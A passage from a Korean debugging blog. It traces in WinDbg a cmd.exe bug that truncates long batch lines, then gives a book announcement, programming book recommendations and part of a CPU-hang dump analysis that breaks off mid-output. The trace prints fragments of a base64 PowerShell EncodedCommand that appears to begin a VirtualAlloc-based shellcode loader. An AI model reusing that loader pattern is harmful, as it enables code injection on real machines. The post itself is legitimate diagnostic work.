0026f950 778e37c8 4a7f829a 7ffdf000 00000000 ntdll!__RtlUserThreadStart+0x70 (FPO: [Non-Fpo])
0026f968 00000000 4a7f829a 7ffdf000 00000000 ntdll!_RtlUserThreadStart+0x1b (FPO: [Non-Fpo])

cmd!GetTitle 함수를 좀 더 살펴보자.

kd> ub eip L10
cmd!GetTitle+0x49:
4a7f24b5 85db 		test ebx,ebx
4a7f24b7 7428 		je cmd!GetTitle+0x75 (4a7f24e1)
4a7f24b9 ff7738 	push dword ptr [edi+38h] // edi = poi(ebp+8)+38
4a7f24bc 56		push esi
4a7f24bd 53 		push ebx
4a7f24be e897f3ffff 	call cmd!StringCchCopyW (4a7f185a) // "powershell"
4a7f24c3 837f3c00 	cmp dword ptr [edi+3Ch],0
4a7f24c7 7416 		je cmd!GetTitle+0x73 (4a7f24df)
4a7f24c9 68b8257f4a	push offset cmd!`string' (4a7f25b8)
4a7f24ce 56 		push esi
4a7f24cf 53 		push ebx
4a7f24d0 e8d4fbffff 	call cmd!StringCchCatW (4a7f20a9) // ' ' (멋대로 공백 1개 추가)
4a7f24d5 ff773c 	push dword ptr [edi+3Ch]
4a7f24d8 56 		push esi
4a7f24d9 53		push ebx
4a7f24da e8cafbffff 	call cmd!StringCchCatW (4a7f20a9) // " -EncodedCommand ~"

kd> dd poi(ebp+8)+38
003c0880 003d3720 003e4dc0 00000000 00000000
003c0890 00000000 00000000 73b87f89 0800f2cb
003c08a0 00000030 003e4db8 003a0043 0074005c
003c08b0 00730065 00320074 00700000 0077006f
003c08c0 00720065 00680073 006c0065 0000006c
003c08d0 6ab87f90 0a00f2c0 000000e6 003c08a0
003c08e0 00430022 005c003a 00650074 00740073
003c08f0 00220032 0043003b 005c003a 00690057

kd> db 003d3720
003d3720 70 00 6f 00 77 00 65 00-72 00 73 00 68 00 65 00 p.o.w.e.r.s.h.e.
003d3730 6c 00 6c 00 00 00 00 00-0a 4f 29 4b 00 00 00 88 l.l......O)K....
003d3740 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
003d3750 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
003d3760 01 4f 29 4b 00 00 00 80-b6 00 00 00 00 00 00 00 .O)K............
003d3770 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
003d3780 00 00 00 00 00 00 00 00-1c 4f 29 4b 00 00 00 80 .........O)K....
003d3790 bb 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................

kd> db 003e4dc0
003e4dc0 20 00 2d 00 45 00 6e 00-63 00 6f 00 64 00 65 00 .-.E.n.c.o.d.e.
003e4dd0 64 00 43 00 6f 00 6d 00-6d 00 61 00 6e 00 64 00 d.C.o.m.m.a.n.d.
003e4de0 20 00 4a 00 41 00 42 00-7a 00 41 00 45 00 51 00 .J.A.B.z.A.E.Q.
003e4df0 41 00 59 00 67 00 41 00-67 00 41 00 44 00 30 00 A.Y.g.A.g.A.D.0.
003e4e00 41 00 49 00 41 00 41 00-6e 00 41 00 43 00 51 00 A.I.A.A.n.A.C.Q.
003e4e10 41 00 63 00 77 00 42 00-34 00 41 00 46 00 6b 00 A.c.w.B.4.A.F.k.
003e4e20 41 00 51 00 51 00 42 00-6d 00 41 00 45 00 45 00 A.Q.Q.B.m.A.E.E.
003e4e30 41 00 64 00 41 00 41 00-67 00 41 00 44 00 30 00 A.d.A.A.g.A.D.0.

첫 번째 파라미터인 ebp+8에서 +38, +3C offset 위치의 문자열 2개를 조합한다.
이 문자열은 앞서 Lex 버퍼를 읽어들인 문자열을 실행 경로와 파라미터로 나눠놓은 것이다.
cmd!GetTitle 함수는 "실행 경로 + 공백 + 파라미터"로 조합된 문자열을 리턴한다.

이 시점에는 이미 반복문의 버그로 한 글자가 누락된 상태라 커맨드라인 역시 한 글자가 잘린 채로 생성된다.
비교를 위해 "두 번째 8K 버퍼 읽기 단계"에서 파일에서 읽었던 버퍼 내용을 다시 살펴보자.

4a81c640 41 00 47 00 55 00 41 00-4c 00 67 00 42 00 48 00 A.G.U.A.L.g.B.H.
4a81c650 41 00 47 00 55 00 41 00-64 00 41 00 42 00 43 00 A.G.U.A.d.A.B.C.
4a81c660 41 00 48 00 6b 00 41 00-64 00 41 00 42 00 6c 00 A.H.k.A.d.A.B.l.
4a81c670 41 00 48 00 4d 00 41 00-4b 00 41 00 41 00 6b 00 A.H.M.A.K.A.A.k.
4a81c680 41 00 48 00 4d 00 41 00-52 00 41 00 42 00 69 00 A.H.M.A.R.A.B.i.
4a81c690 41 00 43 00 6b 00 41 00-4b 00 51 00 41 00 37 00 A.C.k.A.K.Q.A.7.
4a81c6a0 41 00 41 00 3d 00 3d 00-77 00 42 00 34 00 41 00 A.A.=.=.

그다음 GetTitle 함수에서 읽어들인 동일한 부분의 버퍼 내용을 확인해보자.

003ece28 41 00 47 00 55 00 41 00-4c 00 67 00 42 00 48 00 A.G.U.A.L.g.B.H.
                                                             * 'U' has gone!
003ece38 41 00 47 00 41 00 64 00-41 00 42 00 43 00 41 00 A.G.A.d.A.B.C.A.
003ece48 48 00 6b 00 41 00 64 00-41 00 42 00 6c 00 41 00 H.k.A.d.A.B.l.A.
003ece58 48 00 4d 00 41 00 4b 00-41 00 41 00 6b 00 41 00 H.M.A.K.A.A.k.A.
003ece68 48 00 4d 00 41 00 52 00-41 00 42 00 69 00 41 00 H.M.A.R.A.B.i.A.
003ece78 43 00 6b 00 41 00 4b 00-51 00 41 00 37 00 41 00 C.k.A.K.Q.A.7.A.
003ece88 41 00 3d 00 3d 00 00 00 A.=.=...

생성되는 커맨드라인에는 반복문에서 8,191번째에 해당했던 'U' 문자가 없는 상태다.

의미있는 원인 분석은 다 끝났고 뒷 내용은 실제 프로세스 생성을 따라가면서 잘못된 커맨드라인이 powershell.exe에 전달되어 실행(CreateProcess)되는 과정을 끄적인 의미 없는 보고용 분석 내용이다. ㅋㅋ

프로세스 실행

마지막으로 생성된 커맨드라인으로 프로세스를 실행하는 단계다.
cmd.exe test_long.bat 구문을 통해 cmd.exe는 배치 파일의 "powershell -EncodedCommand..." 커맨드를 읽어 들였다.
이 단계는 powershell.exe 프로세스를 CreateProcess 함수로 실행시키는 마지막 단계다.
이 동작은 cmd!ExecPgm 함수를 통해 수행된다.

kd> !thread
THREAD 855ab3f0 Cid 117c.0df0 Teb: 7ffde000 Win32Thread: fdc862f8 RUNNING on processor 0
Not impersonating
DeviceMap 8dd5dd60
Owning Process 84f9dd40 Image: cmd.exe
Attached Process N/A Image: N/A
Wait Start TickCount 11950624 Ticks: 0
Context Switch Count 1536 IdealProcessor: 0
UserTime 00:00:00.156
KernelTime 00:00:41.293
Win32 Start Address cmd!mainCRTStartup (0x4a7f829a)
Stack Init ae8bced0 Current ae8bc4c8 Base ae8bd000 Limit ae8ba000 Call 00000000
Priority 8 BasePriority 8 PriorityDecrement 0 IoPriority 2 PagePriority 5
ChildEBP RetAddr Args to Child
0026e9e4 4a7f3cb5 003c0848 00000000 00000000 cmd!ExecPgm+0x206 (FPO: [Non-Fpo])
0026ec44 4a7f3d48 003c0848 00000000 00000000 cmd!ECWork+0x7f (FPO: [Non-Fpo])
0026ec5c 4a7f15c5 003c0848 5bd5f98b 00000001 cmd!ExtCom+0x47 (FPO: [Non-Fpo])
0026f0b8 4a7f22c0 003c0848 4a828640 003c0848 cmd!FindFixAndRun+0x1f7 (FPO: [Non-Fpo])
0026f108 4a7f4d0e 00000002 003c0848 003d7d18 cmd!Dispatch+0x14b (FPO: [Non-Fpo])
0026f130 4a7f5718 003d7d18 003d7938 00000104 cmd!BatLoop+0x20b (FPO: [Non-Fpo])
0026f160 4a7f6b85 003d7938 003d79e8 00000104 cmd!BatProc+0x1bb (FPO: [Non-Fpo])
0026f3b8 4a7f3d48 003d7938 00000000 00000000 cmd!ECWork+0xd8 (FPO: [Non-Fpo])
0026f3d0 4a7f15c5 003d7938 5bd5f11f 00000001 cmd!ExtCom+0x47 (FPO: [Non-Fpo])
0026f82c 4a7f22c0 003d7938 003d7938 77658e7f cmd!FindFixAndRun+0x1f7 (FPO: [Non-Fpo])
0026f87c 4a7f7489 00000000 003d7938 4a814204 cmd!Dispatch+0x14b (FPO: [Non-Fpo])
0026f8c0 4a7f835e 00000003 006712b0 00671648 cmd!main+0x11d (FPO: [Non-Fpo])
0026f904 7764ed6c 7ffdf000 0026f950 778e37f5 cmd!_initterm_e+0x163 (FPO: [Non-Fpo])
0026f910 778e37f5 7ffdf000 7ca96ff4 00000000 kernel32!BaseThreadInitThunk+0xe (FPO: [Non-Fpo])
0026f950 778e37c8 4a7f829a 7ffdf000 00000000 ntdll!__RtlUserThreadStart+0x70 (FPO: [Non-Fpo])
0026f968 00000000 4a7f829a 7ffdf000 00000000 ntdll!_RtlUserThreadStart+0x1b (FPO: [Non-Fpo])

다음은 cmd!ExecPgm 함수에서 CreateProcess 함수를 호출하는 순간이다.

kd> ub eip+6 L10
cmd!ExecPgm+0x1b6:
4a7f3f69 0100 		add dword ptr [eax],eax
4a7f3f6b 8d8568ffffff 	lea eax,[ebp-98h]
4a7f3f71 50 		push eax
4a7f3f72 8d851cffffff 	lea eax,[ebp-0E4h]
4a7f3f78 50 		push eax
4a7f3f79 be6052814a 	mov esi,offset cmd!CurDrvDir (4a815260)
4a7f3f7e 56 		push esi
4a7f3f7f 53 		push ebx
4a7f3f80 6800000800 	push 80000h
4a7f3f85 57 		push edi
4a7f3f86 53 		push ebx
4a7f3f87 53 		push ebx
4a7f3f88 ff758c 	push dword ptr [ebp-74h] // lpCommandLine
4a7f3f8b ff7598 	push dword ptr [ebp-68h] // lpApplicationName
4a7f3f8e ff157c137f4a 	call dword ptr [cmd!_imp__CreateProcessW (4a7f137c)]

첫 번째 파라미터인 lpApplicationName에는 cmd.exe 에서 구한 powershell.exe의 실행 경로가 설정돼있다.

// lpApplicationName
kd> dd ebp-68 L1
0026e97c 003c0b40

kd> du /c 100 003c0b40
003c0b40 "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

두 번째 파마리터인 문제의 lpCommandLine에는 한 글자가 잘린 커맨드라인이 설정돼있다.

// lpCommandLine
kd> dd ebp-74 L1
0026e970 003e8e28

kd> du /c 40 003e8e28
003e8e28 "powershell -EncodedCommand JABzAEQAYgAgAD0AIAAnACQAcwB4AFkAQQBm"
003e8ea8 "AEEAdAAgAD0AIAAnACcAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBl"
003e8f28 "AGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAg"
003e8fa8 "AGUAeAB0AGUAcgBuACAASQBuAHQAUAB0AHIAIABWAGkAcgB0AHUAYQBsAEEAbABs"
003e9028 "AG8AYwAoAEkAbgB0AFAAdAByACAAbABwAEEAZABkAHIAZQBzAHMALAAgAHUAaQBu"
003e90a8 "AHQAIABkAHcAUwBpAHoAZQAsACAAdQBpAG4AdAAgAGYAbABBAGwAbABvAGMAYQB0"
... ...
003ece28 "AGUALgBHAGAdABCAHkAdABlAHMAKAAkAHMARABiACkAKQA7AA=="  // 실행될 커맨드라인

                    *
         "AGUALgBHAGUAdABCAHkAdABlAHMAKAAkAHMARABiACkAKQA7AA==" // 원본 커맨드라인(배치 파일)

결국 cmd.exe에 의해 실행되는 powershell.exe 프로세스는 잘린 커맨드라인으로 실행된다.

윈도우 10 최신 버전에서도 발생하길래 MSRC에 리포트했더니 cmd.exe 버그 맞다고 고친다고 한다.

분석하고 나니 딱히 영양가는 없는 버그인데 내 문제는 아니라 다행이라는 나 자신을 보니 왠지 씁쓸해졌다.

Windows Debugging 책 출간 소식^^

Paul.. — Sun, 2 Dec 2018 23:59:29 +0900

Windows Debugging 책 소개 링크

안녕하세요. 폴입니다.

Windows Debugging이라는 이름으로 2년 간 훌륭한 분들과 공동 집필 끝에 드디어 책이 나왔습니다.

디버깅 책의 저자라는 이름의 무게로 책임감도 컸고 그만큼 아쉬움도 많았던 시간이었습니다.

윈도우 프로그램 디버깅, 메모리 덤프 분석, 커널 리버싱, 루트킷(커널모드 악성코드) 분석 등에 관심이 있다면 필수적으로 알아야하는 분석 툴 WinDbg와 이를 이용한 분석 기법을 매우 상세하게 다룬 책입니다.

10년 전에 출간됐던 1판 대비 윈도우 10까지 최신 내용과 실전적인 내용을 대거 추가해서 좋은 내용들이 많이 있습니다. ^^

개인적으로는 윈도우 외에 다른 플랫폼에 대한 분석 기법이나 WinDbg 명령들의 더욱 상세한 사용 예를 추가하고 싶은 마음도 많았지만 이미 책이 1000페이지가 넘어간 관계로...ㅠ

앞으로도 이 블로그를 통해 부족하지만 함께 공유하도록 하겠습니다.

궁금하신 부분은 제 블로그나 메일(paul@nullhack.com)로 남겨주세요.

책 관련 문의(질문, 잘못된 내용, 오탈자 등)도 메일로 주시면 매우 감사합니다!

개발 관련 추천 서적

Paul.. — Thu, 23 Aug 2018 21:54:31 +0900

꼭 읽었으면 하는 책들..

Code Complete 2nd / 스티브 맥코넬

- 당장 구해서 읽자.

- 코딩 컨벤션, 네이밍 같은 좋은 코드를 작성하기 위한 기본적인 부분부터 폭 넓게 다룬다.

- 바이블 오브 바이블

WRITING SOLID CODE / 스티브 맥과이어

- 내용은 오래됐지만 얇고 가볍게 읽혀 좋다.

- 버그 없는 코드를 만드는 법을 다룬다.

- Code Complete이 두꺼워 부담된다면 이 책 먼저 시작하는 것도 좋다.

읽기 좋은 코드가 좋은 코드다 / 더스틴 보즈웰, 트레버 파우커

- 제목 그대로의 내용을 다루는데 좋은 내용들이 많다.

- “Simple is Power” 원칙에 대해 깊이 생각해 볼 수 있다.

- 여기까지 읽었다면 좋은 코드를 작성하는 방법에 대한 생각이 많아졌을 것이다.

조엘 온 소프트웨어 & 모어 조엘 온 소프트웨어 / 조엘 스폴스키

- 개발 관련 이런저런 재미있고 가벼운 내용들이 많다.

- 책도 두껍지 않고 내용도 재밌다.

- 다음 책을 읽기 위해 연습하는 목적으로 읽어보자.

실용주의 프로그래머 / 앤드류 헌트, 데이비드 토머스

프로그래밍 심리학 / 제랄드 M. 와인버그

생각하는 프로그래밍 / 존 벤틀리

- 실용주의 프로그래머, 프로그래밍 심리학은 교양서에 가깝다. 좀 더 넓은 관점에서 좋은 소프트웨어에 대해 고민한다.

- 생각하는 프로그래밍도 기본 맥락은 비슷하지만 조금 더 기술적인 관점에서 설명한다.

- 다 읽고 나면 좋은 코드에 대한 나름의 기준이 생길 것이다.

앞 책들과 비슷비슷하지만 아직도 궁금한게 있다면 읽어보자.

프로그래밍 수련법 / 브라이언 W. 커니핸, 롭 파이크

코딩을 지탱하는 기술 / 니시오 히로카즈

개발 방법론에 관심이 있다면...

프로젝트 매니저나 아키텍트에게 유용한 내용이 많다.

참고로 사람마다 호불호가 있을 법한 내용이다(나는 약간 지루했지만 대체로 재미었다)

몇몇 책은 과거 개발 방법에 대한 내용이라 어리둥절할 수도 있다.

그럴 때는 고전을 읽어야하는 이유를 떠올리며 넘어가자.

맨먼스 미신 / 프레더릭 브룩스

- 인원을 늘리면 정말 개발 기간이 빨라질까?

소프트웨어 개발의 모든 것 / 김익환, 전규현

- 소프트웨어 개발 프로세스를 기본부터 설명해준다.

소프트웨어 아키텍트가 알아야할 97가지 / 다수

- 다수 저자의 이야기를 묶은 책이다 보니 공감되지 않은 내용도 더러 있지만 사고의 폭을 넓혀준다.

잘 읽히는 책들은 아니었지만 중간 중간 좋은 내용들이 많았다.

Professional 소프트웨어 개발 / 스티브 맥코넬

RAPID DEVELOPMENT 프로젝트 쾌속 개발 전략 / 스티브 맥코넬

익스트림 프로그래밍 / 켄트 벡, 신시아 안드레스

테스트 주도 개발 / 켄트 벡

디자인 패턴과 리팩토링..

좋은 소프트웨어 구조에 대한 호기심이 있다면 읽어 두는게 좋다.

다만, 정말 필요할 때 읽어야 확 와닿는 주제들이라 지루할 수 있다.

객체 지향과 디자인 패턴 / 최범균

- GoF 디자인 패턴, Head First Design Patterns 같은 좋은 책이 있지만 이 책이 제일 얇다.

- 가볍게 시작하기에는 얇은게 최고다. 흥미가 생긴다면 GoF 에 도전하자.

리팩토링 / 마틴 파울러

- 리팩토링은 참 어려운 주제인 것 같다. 답이 정해져 있지도 않고...

- 많은 아이디어를 얻을 수 있다. 나름의 리팩토링 기준을 세우는데 도움이 된다.

외도하고 싶다면..

유지보수가 어렵게 코딩하는 방법 / 로에디 그린

- 농담이 아니다. 개발자라면 등골이 오싹할 무시무시한 내용들로 가득하다.

- e북이나 pdf 로 구할 수 있을 것이다.

- 딱 반대로만 하면 Code Complete 부터 배운 모든 내용들이 단 번에 이해가 될 것이다.

시스템 프로그래밍..

이쪽은 쉽거나 얇은 책부터 시작하는 편이 정신 건강에 좋다.

보안 관련 개발이나 해킹에 관심이 많다면 기본기에 해당하니 꼭 읽어두자.

뇌를 자극하는 윈도우즈 시스템 프로그래밍 / 윤성우

- Windows VIA C/C++ 읽기 전에 워밍업으로 읽으면 좋다.

- 시스템 프로그래밍 전반적인 부분을 너무 무겁지도 가볍지도 않게 다룬다.

Windows VIA C/C++ / 제프리 리처

- 윈도우 기반 시스템 프로그래밍 분야에서는 Code Complete 같은 책이다.

- 쉽지는 않다.

- 기본적인 DLL 인젝션과 후킹 기법도 다룬다.

뇌를 자극하는 프로그래밍 원리 / 한세경

- 앞서 배운 개념들을 CPU 레벨에서 설명한다.

- 재미 삼아 읽자.

Windows 구조와 원리 / 정덕영

- 이런 책이 국내 서적이라니!

- 참 멋진 책이다. 제목 그대로의 내용인데 목차만 봐도 저자의 내공을 느낄 수 있다.

Windows Internals / 파벨 요시포비치, 데이비드 솔로몬, 알렉스 이오네스쿠, 마크 러시노비치

- 마이크로소프트의 윈도우 커널 공식 가이드 북으로 현재 7판까지 출간됐다.

- 새로운 윈도우 버전이 나오면 그에 대한 Internals가 출판된다(7판은 윈도우 10 & 서버 2016 대응).

- 윈도우의 깊숙한 내부가 궁금하다면 공식책으로는 이게 끝판왕이다.

- 이 이상이 궁금하면 다른 리버싱 서적이나 보안 블로그를 참고하거나 직접 리버싱해야 한다.

윈도우 실행파일 내부가 궁금하다면..

Windows 시스템 실행파일의 구조와 원리 / 이호동

- 윈도우 실행파일 형식인 PE(Portable Executable)를 상세히 설명한다.

- PE 관련 정보는 검색으로 쉽게 알 수 있어 꼭 읽어야 하는 책은 아니다.

- 구할 수 있을지 모르겠다.(못 구하면 이런 책도 있었구나 생각하자 ;)

윈도우 같은 운영체제 만드는 법까지 궁금해졌다면..

만들면서 배우는 OS 커널의 구조와 원리 / 김범준

OS 구조와 원리 OS개발 30일 프로젝트 / 카와이 히데미

- 설마.. 정말 읽을 생각인가?

[Hang] CPU 과점유

Paul.. — Mon, 13 Aug 2018 23:49:57 +0900

이번 덤프는 지속적으로 CPU 사용율이 100%가 유지되는 행(Hang) 증상으로 수집된 덤프다.

이처럼 행과 같은 특수한 상황을 분석하기 위해서는 행 증상이 발생한 상태에서 강제로 BSOD를 발생시켜 덤프를 수집해야 한다.

대체로 행이나 메모리 누수 같은 문제는 당시 시스템 상황을 잘 분석해야 하므로 분석이 까다롭다.

참고로 이번에는 64비트 덤프로 준비해봤다. 혹시 64비트 덤프를 처음 보더라도 분석 방법은 동일하니 긴장하지 말고 시작해보자.

강제로 발생시킨 덤프이기 때문에 !analyze 명령이나 현재 스레드의 콜 스택 정보는 큰 의미가 없다.

행 덤프를 생성할 당시의 시스템 상황을 분석해내는 것이 핵심이다.

우선적으로 !running -it 명령으로 덤프 발생 당시 실행 중이던 스레드와 콜 스택 정보를 확인해보자.

kd> !running -it

System Processors: (000000000000000f)

Idle Processors: (0000000000000000) (0000000000000000) (0000000000000000) (0000000000000000)

Prcbs Current (pri) Next (pri) Idle

0 fffff80002bf8e80 fffffa802b447b60 ( 8) fffff80002c06cc0 ................

# Child-SP RetAddr Call Site

00 fffff880`02d2fcf8 fffff880`02e4d435 nt!KeBugCheckEx

01 fffff880`02d2fd00 fffff800`02d23cce MyDrv+0x1435

02 fffff880`02d2fd40 fffff800`02a77fe6 nt!PspSystemThreadStartup+0x5a

03 fffff880`02d2fd80 00000000`00000000 nt!KiStartSystemThread+0x16

1 fffff880009e8180 fffffa802b3ae060 ( 9) fffff880009f2fc0 ................

# Child-SP RetAddr Call Site

00 fffff880`041a5660 fffff800`02d44578 nt!ExfAcquirePushLockShared+0x21

01 fffff880`041a56e0 fffff800`02d8fef6 nt!ExpGetProcessInformation+0xaf2

02 fffff880`041a5830 fffff800`02d90949 nt!ExpQuerySystemInformation+0xfb4

03 fffff880`041a5be0 fffff800`02a858d3 nt!NtQuerySystemInformation+0x4d

04 fffff880`041a5c20 00000000`7733167a nt!KiSystemServiceCopyEnd+0x13

05 00000000`0504fd58 00000000`00000000 0x7733167a

2 fffff88003763180 fffffa802b3f8b60 ( 9) fffff8800376dfc0 ................

# Child-SP RetAddr Call Site

00 fffff880`057031a8 fffff800`02c7f3e0 kdcom+0x4c5f

01 fffff880`057031b0 00000000`00000002 nt!KdLogBuffer

02 fffff880`057031b8 00000000`00026200 0x2

03 fffff880`057031c0 00000000`00000001 0x26200

04 fffff880`057031c8 fffff800`00b9ca13 0x1

05 fffff880`057031d0 fffff800`00b9be4b kdcom+0x4a13

06 fffff880`05703210 fffff800`00b99699 kdcom+0x3e4b

07 fffff880`05703250 fffff800`00b9cf1b kdcom+0x1699

08 fffff880`057033a0 fffff800`02a9013d kdcom+0x4f1b

09 fffff880`057034d0 fffff800`02a92a3f nt!KdPollBreakIn+0xec

0a fffff880`05703520 fffff800`02a92741 nt!KeUpdateRunTime+0x13f

0b fffff880`05703550 fffff800`02d43f00 nt!KiSecondaryClockInterrupt+0x131

0c fffff880`057036e0 fffff800`02d8fef6 nt!ExpGetProcessInformation+0x472

0d fffff880`05703830 fffff800`02d90949 nt!ExpQuerySystemInformation+0xfb4

0e fffff880`05703be0 fffff800`02a858d3 nt!NtQuerySystemInformation+0x4d

0f fffff880`05703c20 00000000`7733167a nt!KiSystemServiceCopyEnd+0x13

10 00000000`0e30fd58 00000000`00000000 0x7733167a

3 fffff880037d3180 fffffa802b407060 ( 9) fffff880037ddfc0 ................

# Child-SP RetAddr Call Site

00 fffff880`057d46b0 fffff800`02d43f24 nt!ObReferenceObjectSafe+0xf

01 fffff880`057d46e0 fffff800`02d8fef6 nt!ExpGetProcessInformation+0x496

02 fffff880`057d4830 fffff800`02d90949 nt!ExpQuerySystemInformation+0xfb4

03 fffff880`057d4be0 fffff800`02a858d3 nt!NtQuerySystemInformation+0x4d

04 fffff880`057d4c20 00000000`7733167a nt!KiSystemServiceCopyEnd+0x13

05 00000000`0fdffd58 00000000`00000000 0x7733167a

1~3번 프로세서에서 동작 중인 스레드는 NtQuerySystemInformation 함수를 수행 중이다. 0번 프로세서의 스레드는 강제 덤프 수집을 위해 인위적으로 BSOD를 발생시킨 스레드라 분석에서 제외한다.

NtQuerySystemInformation 함수의 원형은 다음과 같다.

NTSTATUS WINAPI NtQuerySystemInformation(

_In_ SYSTEM_INFORMATION_CLASS SystemInformationClass,

_Inout_ PVOID SystemInformation,

_In_ ULONG SystemInformationLength,

_Out_opt_ PULONG ReturnLength

);

유저 프로세스에서 NtQuerySystemInformation 함수를 사용해서 시스템 정보를 쿼리할 경우 요청한 SystemInformationClass에 맞는 커널 내부 함수가 호출된다.

내부에서 ExpGetProcessInformation 함수가 호출된 것으로 보아 프로세스 정보와 관련된 요청이었을 것이다.

1~3번 프로세서에서 모두 NtQuerySystemInformation 함수가 동작 중이었으므로 이 NtQuerySystemInformation 함수에서 지속적으로 CPU를 사용해서 행을 유발했을 가능성이 매우 높다.

우선 동작 중인 1번 프로세서의 스레드인 fffffa802b3ae060로 컨텍스트를 맞춰 SystemInformationClass가 어떤 값이었는지 확인해보자.

kd> .thread fffffa802b3ae060

Implicit thread is now fffffa80`2b3ae060

kd> kv

*** Stack trace for last set context - .thread/.cxr resets it

# Child-SP RetAddr : Args to Child : Call Site

00 fffff880`041a5660 fffff800`02d44578 : fffff880`00000000 00000000`00000000 00000000`00002500 00000000`00000005 : nt!ExfAcquirePushLockShared+0x21

01 fffff880`041a56e0 fffff800`02d8fef6 : 00000000`02170000 00000000`00010000 fffff880`041a5870 00000000`00000000 : nt!ExpGetProcessInformation+0xaf2 // 2) 프로세스 정보 획득 함수 호출

02 fffff880`041a5830 fffff800`02d90949 : 00000000`02170000 00000000`00000000 00000000`0504fed0 00000000`00000000 : nt!ExpQuerySystemInformation+0xfb4 // 1) SystemInformationClass에 따라 분기

03 fffff880`041a5be0 fffff800`02a858d3 : 00000000`00000001 00000000`0504ecb8 00000000`00000001 000007ff`fffdc000 : nt!NtQuerySystemInformation+0x4d

04 fffff880`041a5c20 00000000`7733167a : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : nt!KiSystemServiceCopyEnd+0x13 (TrapFrame @ fffff880`041a5c20)

05 00000000`0504fd58 00000000`00000000 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : 0x7733167a

64비트 콜 스택이므로 첫 번째 파라미터를 찾기가 쉽지 않다. 64비트에서는 스택 포인터인 rsp 기준으로 동작하기 때문인데 이로 인해 k 명령으로 보이는 파라미터 값들은 실제 값과는 다르게 표시될 수 있다(5.3.2 숨겨진 콜 스택 케이스 참고).

그래도 최소한 1)번 쯤에서 SystemInformationClass를 비교하는 부분이 있을 것 같다. ExpQuerySystemInformation+0xfb4 부분을 디스어셈블링해서 살펴보자.

kd> u ExpQuerySystemInformation+0xfb4-3a L10

nt!ExpQuerySystemInformation+0xf78:

fffff800`02d8feba 0000 add byte ptr [rax],al

fffff800`02d8febc 89473c mov dword ptr [rdi+3Ch],eax

fffff800`02d8febf eb05 jmp nt!ExpQuerySystemInformation+0xf84 (fffff800`02d8fec6)

fffff800`02d8fec1 e9c5f2ffff jmp nt!ExpQuerySystemInformation+0x249 (fffff800`02d8f18b)

fffff800`02d8fec6 894c2440 mov dword ptr [rsp+40h],ecx

fffff800`02d8feca 8b742444 mov esi,dword ptr [rsp+44h]

fffff800`02d8fece e9b1f2ffff jmp nt!ExpQuerySystemInformation+0x242 (fffff800`02d8f184)

fffff800`02d8fed3 4183fa05 cmp r10d,5 // 1) SystemInformationClass가 5인지 비교

fffff800`02d8fed7 0f85b93e0500 jne nt! ?? ::NNGAKEGL::`string'+0x58c58 (fffff800`02de3d96) // 2) 5가 아니면 다음 위치로 이동

fffff800`02d8fedd 32c0 xor al,al

fffff800`02d8fedf 88442420 mov byte ptr [rsp+20h],al

fffff800`02d8fee3 4533c9 xor r9d,r9d

fffff800`02d8fee6 4c8d442440 lea r8,[rsp+40h]

fffff800`02d8feeb 418bd5 mov edx,r13d

fffff800`02d8feee 488bcf mov rcx,rdi

fffff800`02d8fef1 e89a3bfbff call nt!ExpGetProcessInformation (fffff800`02d43a90) // 3) 5인 경우 ExpGetProcessInformation 함수 호출

SystemInformationClass가 5번일 경우 ExpGetProcessInformation 함수가 호출된다.

한 번에 찾아서 다행이다. 콜 스택을 보면 ExpGetProcessInformation 함수가 호출되었으므로 첫 번째 파라미터인 SystemInformationClass는 5다.

그렇다면 이제 SystemInformationClass 5번이 무엇을 의미하는지 알아야 한다.

typedef enum SYSTEM_INFORMATION_CLASS {

SystemBasicInformation, // 0

SystemProcessorInformation, // 1

SystemPerformanceInformation, // 2

SystemTimeOfDayInformation, // 3

SystemPathInformation, // 4

SystemProcessesAndThreadsInformation, // 5

... ...

SYSTEM_INFORMATION_CLASS의 enum 값을 확인해보면 5는 SystemProcessesAndThreadsInformation을 의미한다.

뭔가 프로세스나 스레드 관련된 정보를 얻을 때 사용하는 값이라고 추측해 볼 수 있다.

앞서 3개의 스레드 모두 ExpGetProcessInformation 함수 안에서 동작이 완료되지 않고 있었다. ExpGetProcessInformation 함수가 문제 발생 위치일 가능성이 높은 상황이다.

uf /c 명령으로 ExpGetProcessInformation 내부에서 호출되는 함수를 살펴보자.

kd> uf /c ExpGetProcessInformation

nt!ExpGetProcessInformation (fffff800`02d43a90)

nt!ExpGetProcessInformation+0x7a (fffff800`02d43b0a):

call to nt!KeFlushProcessWriteBuffers (fffff800`02a5bf7c)

nt!ExpGetProcessInformation+0xc9 (fffff800`02d43b58):

call to nt!PsGetProcessSessionId (fffff800`02a4bf94)

nt!ExpGetProcessInformation+0x146 (fffff800`02d43bd5):

call to nt!ExpCopyProcessInfo (fffff800`02d44c04)

nt!ExpGetProcessInformation+0x1d6 (fffff800`02d43c65):

call to nt!PsGetNextProcessThread (fffff800`02d278a8)

nt!ExpGetProcessInformation+0x24a (fffff800`02d43cd8):

call to nt!KeQueryValuesThread (fffff800`02a5bb50)

nt!ExpGetProcessInformation+0x491 (fffff800`02d43f1f):

call to nt!ObReferenceObjectSafe (fffff800`02aa2c00)

nt!ExpGetProcessInformation+0x4ea (fffff800`02d43f78):

call to nt!ObfDereferenceObject (fffff800`02a90440)

nt!ExpGetProcessInformation+0x541 (fffff800`02d43fcf):

call to nt!SeLocateProcessImageName (fffff800`02d279bc)

nt!ExpGetProcessInformation+0x631 (fffff800`02d440be):

call to nt!memmove (fffff800`02a7cff0)

nt!ExpGetProcessInformation+0x6bb (fffff800`02d44148):

call to nt!ExFreePoolWithTag (fffff800`02bb1d90)

nt!ExpGetProcessInformation+0x76f (fffff800`02d441fc):

call to nt!PsGetNextProcess (fffff800`02d44928) // 지연 의심 함수

nt!ExpGetProcessInformation+0x820 (fffff800`02d442ad):

call to nt!ExFreePoolWithTag (fffff800`02bb1d90)

nt!ExpGetProcessInformation+0xaaa (fffff800`02d44530):

call to nt!KeSynchronizeWithThreadInitialization (fffff800`02b25310)

nt!ExpGetProcessInformation+0xaed (fffff800`02d44573):

